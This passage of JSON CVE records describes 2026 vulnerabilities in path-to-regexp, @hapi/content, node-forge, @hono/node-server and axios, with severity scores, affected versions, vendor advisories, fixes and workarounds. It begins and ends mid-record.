"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1333",
"description": "Inefficient Regular Expression Complexity",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-06-30T12:10:34.415Z",
"orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"shortName": "redhat-SADP"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2026-4926"
},
{
"name": "RHBZ#2451867",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2451867"
},
{
"tags": [
"x_sadp-csaf-vex"
],
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-4926.json"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24761"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24762"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:17789"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:19409"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:19410"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24866"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:13545"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:9742"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:13826"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:10175"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:9385"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:10172"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:10153"
}
],
"solutions": [
{
"lang": "en",
"value": "RHSA-2026:24761: Red Hat Ansible Automation Platform 2.5 for RHEL 8, Red Hat Ansible Automation Platform 2.5 for RHEL 9"
},
{
"lang": "en",
"value": "RHSA-2026:24762: Red Hat Ansible Automation Platform 2.6 for RHEL 9"
},
{
"lang": "en",
"value": "RHSA-2026:17789: Cryostat 4 on RHEL 9"
},
{
"lang": "en",
"value": "RHSA-2026:19409: Migration Toolkit for Virtualization 2.1"
},
{
"lang": "en",
"value": "RHSA-2026:19410: Migration Toolkit for Virtualization 2.9"
},
{
"lang": "en",
"value": "RHSA-2026:24866: Red Hat Ansible Automation Platform 2.6"
},
{
"lang": "en",
"value": "RHSA-2026:13545: Red Hat Ansible Automation Platform 2.6"
},
{
"lang": "en",
"value": "RHSA-2026:9742: Red Hat Developer Hub 1.8"
},
{
"lang": "en",
"value": "RHSA-2026:13826: Red Hat Developer Hub 1.9"
},
{
"lang": "en",
"value": "RHSA-2026:10175: Red Hat OpenShift Dev Spaces 3.27"
},
{
"lang": "en",
"value": "RHSA-2026:9385: Red Hat OpenShift distributed tracing 3.9.3"
},
{
"lang": "en",
"value": "RHSA-2026:10172: Red Hat Trusted Artifact Signer 1.3"
},
{
"lang": "en",
"value": "RHSA-2026:10153: Red Hat Trusted Artifact Signer 1.3"
}
],
"timeline": [
{
"lang": "en",
"time": "2026-03-26T20:03:28.427Z",
"value": "Reported to Red Hat."
},
{
"lang": "en",
"time": "2026-03-26T18:59:38.000Z",
"value": "Made public."
}
],
"title": "path-to-regexp: path-to-regexp: Denial of Service via crafted regular expressions",
"workarounds": [
{
"lang": "en",
"value": "To mitigate this vulnerability, limit the use of multiple sequential optional groups in route patterns within applications that use `path-to-regexp`. Additionally, avoid directly passing user-controlled input as route patterns to prevent the generation of maliciously crafted regular expressions."
}
],
"x_adpType": "supplier",
"x_generator": {
"engine": "sadp-cli 1.0.0"
}
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:npm/path-to-regexp",
"product": "path-to-regexp",
"vendor": "path-to-regexp",
"versions": [
{
"lessThan": "8.4.0",
"status": "affected",
"version": "8.0.0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "8.4.0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "reporter",
"value": "uug4na"
},
{
"lang": "en",
"type": "remediation developer",
"value": "blakeembrey"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "UlisesGascon"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Impact:\n\nA bad regular expression is generated any time you have multiple sequential optional groups (curly brace syntax), such as `{a}{b}{c}:z`. The generated regex grows exponentially with the number of groups, causing denial of service.\n\nPatches:\n\nFixed in version 8.4.0.\n\nWorkarounds:\n\nLimit the number of sequential optional groups in route patterns. Avoid passing user-controlled input as route patterns."
}
],
"value": "Impact:\n\nA bad regular expression is generated any time you have multiple sequential optional groups (curly brace syntax), such as `{a}{b}{c}:z`. The generated regex grows exponentially with the number of groups, causing denial of service.\n\nPatches:\n\nFixed in version 8.4.0.\n\nWorkarounds:\n\nLimit the number of sequential optional groups in route patterns. Avoid passing user-controlled input as route patterns."
}
],
"metrics": [
{
"cvssV3_1": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-400",
"description": "CWE-400: Uncontrolled Resource Consumption",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-1333",
"description": "CWE-1333: Inefficient Regular Expression Complexity",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-26T18:59:38.000Z",
"orgId": "ce714d77-add3-4f53-aff5-83d477b104bb",
"shortName": "openjs"
},
"references": [
{
"url": "https://cna.openjsf.org/security-advisories.html"
}
],
"title": "path-to-regexp vulnerable to Denial of Service via sequential optional groups",
"x_generator": {
"engine": "cve-kit 1.0.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "ce714d77-add3-4f53-aff5-83d477b104bb",
"assignerShortName": "openjs",
"cveId": "CVE-2026-4926",
"datePublished": "2026-03-26T18:59:38.000Z",
"dateReserved": "2026-03-26T18:36:49.229Z",
"dateUpdated": "2026-06-30T12:10:34.415Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-35213 (GCVE-0-2026-35213)
Vulnerability from cvelistv5 – Published: 2026-04-06 20:08 – Updated: 2026-06-23 15:51- CWE-1333 - Inefficient Regular Expression Complexity
| URL | Tags | |||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-35213",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-07T14:01:56.331650Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-06-23T15:51:14.160Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "content",
"vendor": "hapijs",
"versions": [
{
"status": "affected",
"version": "\u003c 6.0.1"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "@hapi/content provided HTTP Content-* headers parsing. All versions of @hapi/content through 6.0.0 are vulnerable to Regular Expression Denial of Service (ReDoS) via crafted HTTP header values. Three regular expressions used to parse Content-Type and Content-Disposition headers contain patterns susceptible to catastrophic backtracking. This vulnerability is fixed in 6.0.1."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 8.7,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1333",
"description": "CWE-1333: Inefficient Regular Expression Complexity",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-06T20:08:54.811Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/hapijs/content/security/advisories/GHSA-jg4p-7fhp-p32p",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/hapijs/content/security/advisories/GHSA-jg4p-7fhp-p32p"
},
{
"name": "https://github.com/hapijs/content/pull/38",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/hapijs/content/pull/38"
}
],
"source": {
"advisory": "GHSA-jg4p-7fhp-p32p",
"discovery": "UNKNOWN"
},
"title": "Regular Expression Denial of Service (ReDoS) in @hapi/content HTTP header parsing"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-35213",
"datePublished": "2026-04-06T20:08:54.811Z",
"dateReserved": "2026-04-01T18:48:58.937Z",
"dateUpdated": "2026-06-23T15:51:14.160Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-33896 (GCVE-0-2026-33896)
Vulnerability from cvelistv5 – Published: 2026-03-27 20:50 – Updated: 2026-07-02 12:05- CWE-295 - Improper Certificate Validation
| URL | Tags | |||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
| Vendor | Product | Version | ||
|---|---|---|---|---|
| digitalbazaar | forge |
Affected:
< 1.4.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-33896",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-30T18:53:46.442762Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-30T18:53:50.510Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25"
}
],
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.5::el8",
"cpe:/a:redhat:ansible_automation_platform_developer:2.5::el8",
"cpe:/a:redhat:ansible_automation_platform_inside:2.5::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.5 for RHEL 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2.5::el9",
"cpe:/a:redhat:ansible_automation_platform_developer:2.5::el9",
"cpe:/a:redhat:ansible_automation_platform_inside:2.5::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Ansible Automation Platform 2.5 for RHEL 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cluster_observability_operator:1.5::el9"
],
"defaultStatus": "affected",
"product": "Cluster Observability Operator 1.5.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.8::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.9::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:logging:5"
],
"defaultStatus": "affected",
"product": "Logging Subsystem for Red Hat OpenShift",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_registry:2"
],
"defaultStatus": "affected",
"product": "Red Hat build of Apicurio Registry 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:podman_desktop:1"
],
"defaultStatus": "affected",
"product": "Red Hat Build of Podman Desktop",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_data_grid:8"
],
"defaultStatus": "affected",
"product": "Red Hat Data Grid 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:8"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux 8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:9"
],
"defaultStatus": "affected",
"product": "Red Hat Enterprise Linux 9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "unaffected",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:ansible_automation_platform:2"
],
"defaultStatus": "unaffected",
"product": "Red Hat Ansible Automation Platform 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:apache_camel_hawtio:4"
],
"defaultStatus": "unaffected",
"product": "Red Hat build of Apache Camel - HawtIO 4",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/o:redhat:enterprise_linux:10"
],
"defaultStatus": "unaffected",
"product": "Red Hat Enterprise Linux 10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "unaffected",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
}
],
"datePublic": "2026-03-27T20:50:03.418Z",
"descriptions": [
{
"lang": "en",
"value": "A flaw was found in Forge (also known as node-forge), a JavaScript implementation of Transport Layer Security (TLS). The `pki.verifyCertificateChain()` function does not properly enforce certificate validation rules. This oversight allows an intermediate certificate that lacks specific security extensions to enable any leaf certificate to function as a Certificate Authority (CA) and sign other certificates. Consequently, node-forge could accept these unauthorized certificates as valid, potentially leading to spoofing or the issuance of illegitimate certificates."
}
],
"metrics": [
{
"other": {
"content": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"value": "Important"
},
"type": "Red Hat severity rating"
}
},
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-295",
"description": "Improper Certificate Validation",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-07-02T12:05:17.922Z",
"orgId": "0b0ca135-0b70-47e7-9f44-1890c2a1c46c",
"shortName": "redhat-SADP"
},
"references": [
{
"tags": [
"vdb-entry",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/security/cve/CVE-2026-33896"
},
{
"name": "RHBZ#2452458",
"tags": [
"issue-tracking",
"x_refsource_REDHAT"
],
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2452458"
},
{
"tags": [
"x_sadp-csaf-vex"
],
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33896.json"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:24761"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:34342"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:9742"
},
{
"tags": [
"vendor-advisory",
"x_refsource_REDHAT"
],
"url": "https://access.redhat.com/errata/RHSA-2026:13826"
}
],
"solutions": [
{
"lang": "en",
"value": "RHSA-2026:24761: Red Hat Ansible Automation Platform 2.5 for RHEL 8, Red Hat Ansible Automation Platform 2.5 for RHEL 9"
},
{
"lang": "en",
"value": "RHSA-2026:34342: Cluster Observability Operator 1.5.0"
},
{
"lang": "en",
"value": "RHSA-2026:9742: Red Hat Developer Hub 1.8"
},
{
"lang": "en",
"value": "RHSA-2026:13826: Red Hat Developer Hub 1.9"
}
],
"timeline": [
{
"lang": "en",
"time": "2026-03-27T21:02:22.762Z",
"value": "Reported to Red Hat."
},
{
"lang": "en",
"time": "2026-03-27T20:50:03.418Z",
"value": "Made public."
}
],
"title": "node-forge: Forge (node-forge): Certificate validation bypass allows unauthorized certificate issuance",
"workarounds": [
{
"lang": "en",
"value": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability."
}
],
"x_adpType": "supplier",
"x_generator": {
"engine": "sadp-cli 1.0.0"
}
}
],
"cna": {
"affected": [
{
"product": "forge",
"vendor": "digitalbazaar",
"versions": [
{
"status": "affected",
"version": "\u003c 1.4.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, `pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. Version 1.4.0 patches the issue."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.4,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-295",
"description": "CWE-295: Improper Certificate Validation",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-27T20:50:03.418Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-2328-f5f3-gj25"
},
{
"name": "https://github.com/digitalbazaar/forge/commit/2e492832fb25227e6b647cbe1ac981c123171e90",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/digitalbazaar/forge/commit/2e492832fb25227e6b647cbe1ac981c123171e90"
}
],
"source": {
"advisory": "GHSA-2328-f5f3-gj25",
"discovery": "UNKNOWN"
},
"title": "Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-33896",
"datePublished": "2026-03-27T20:50:03.418Z",
"dateReserved": "2026-03-24T15:41:47.490Z",
"dateUpdated": "2026-07-02T12:05:17.922Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-39406 (GCVE-0-2026-39406)
Vulnerability from cvelistv5 – Published: 2026-04-08 14:34 – Updated: 2026-04-08 15:17- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
| Vendor | Product | Version | ||
|---|---|---|---|---|
| honojs | node-server |
Affected:
< 1.19.13
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-39406",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-08T15:17:32.143505Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-08T15:17:38.121Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "node-server",
"vendor": "honojs",
"versions": [
{
"status": "affected",
"version": "\u003c 1.19.13"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "@hono/node-server allows running the Hono application on Node.js. Prior to 1.19.13, a path handling inconsistency in serveStatic allows protected static files to be accessed by using repeated slashes (//) in the request path. When route-based middleware (e.g., /admin/*) is used for authorization, the router may not match paths containing repeated slashes, while serveStatic resolves them as normalized paths. This can lead to a middleware bypass. This vulnerability is fixed in 1.19.13."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-08T14:34:30.543Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/honojs/node-server/security/advisories/GHSA-92pp-h63x-v22m",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/honojs/node-server/security/advisories/GHSA-92pp-h63x-v22m"
}
],
"source": {
"advisory": "GHSA-92pp-h63x-v22m",
"discovery": "UNKNOWN"
},
"title": "@hono/node-server has a middleware bypass via repeated slashes in serveStatic"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-39406",
"datePublished": "2026-04-08T14:34:30.543Z",
"dateReserved": "2026-04-07T00:23:30.594Z",
"dateUpdated": "2026-04-08T15:17:38.121Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-42033 (GCVE-0-2026-42033)
Vulnerability from cvelistv5 – Published: 2026-04-24 17:36 – Updated: 2026-07-01 12:04- CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
| URL | Tags | ||||
|---|---|---|---|---|---|
|
|||||
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-42033",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-24T00:00:00+00:00",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-25T03:55:57.725Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/axios/axios/security/advisories/GHSA-pf86-5x62-jrwf"
}
],
"title": "CISA ADP Vulnrichment"
},
{
"affected": [
{
"cpes": [
"cpe:/a:redhat:apache_camel_hawtio:4.4::el9"
],
"defaultStatus": "affected",
"product": "HawtIO HawtIO 4.4.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:network_observ_optr:1.11::el9"
],
"defaultStatus": "affected",
"product": "Network Observability (NETOBSERV) 1.11.2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:acm:2.15::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2.15",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:acm:2.16::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Management for Kubernetes 2.16",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:advanced_cluster_security:4.10::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Security for Kubernetes 4.10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:advanced_cluster_security:4.9::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Advanced Cluster Security for Kubernetes 4.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:jboss_data_grid:8"
],
"defaultStatus": "affected",
"product": "Red Hat Data Grid 8.6.1",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.8::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhdh:1.9::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Developer Hub 1.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:discovery:2::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Discovery 2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:rhmt:1.8::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Migration Toolkit 1.8",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_ai:2.25::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift AI 2.25",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.20::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.20",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift:4.21::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Container Platform 4.21",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.28::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Dev Spaces 3.28",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:2.6::el8"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 2.6",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.0::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.0",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.1::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.1",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.2::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.2",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:service_mesh:3.3::el9"
],
"defaultStatus": "affected",
"product": "Red Hat OpenShift Service Mesh 3.3",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.10::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.10",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.12::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.12",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.14::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.14",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.15::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.15",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.16::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.16",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.17::el9"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.17",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:quay:3.9::el8"
],
"defaultStatus": "affected",
"product": "Red Hat Quay 3.9",
"vendor": "Red Hat"
},
{
"cpes": [
"cpe:/a:redhat:satellite:6.18::el9"
],
"defaultStatus": "affected",
